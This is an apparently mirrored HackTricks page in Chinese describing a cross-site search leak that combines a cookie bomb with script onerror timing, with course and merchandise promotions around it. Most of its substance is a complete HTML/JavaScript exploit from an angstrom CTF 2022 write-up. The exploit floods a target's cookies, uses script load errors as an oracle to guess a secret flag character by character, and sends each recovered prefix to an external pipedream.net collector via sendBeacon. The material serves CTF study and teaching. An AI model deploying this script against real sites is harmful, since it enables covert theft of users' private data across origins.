> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md).

# Cookie Bomb + Onerror XS Leak

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks上做广告**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧**。

</details>

以下**脚本**取自[**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)，利用允许用户**插入任意数量的cookie**的功能，然后加载一个文件作为脚本，知道真实响应将比错误响应更大，然后。如果成功，响应将是一个重定向，生成的URL更长，**服务器无法处理太大的URL，因此返回错误的http状态码**。如果搜索失败，因为URL较短，将不会发生任何事情。

```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

</details>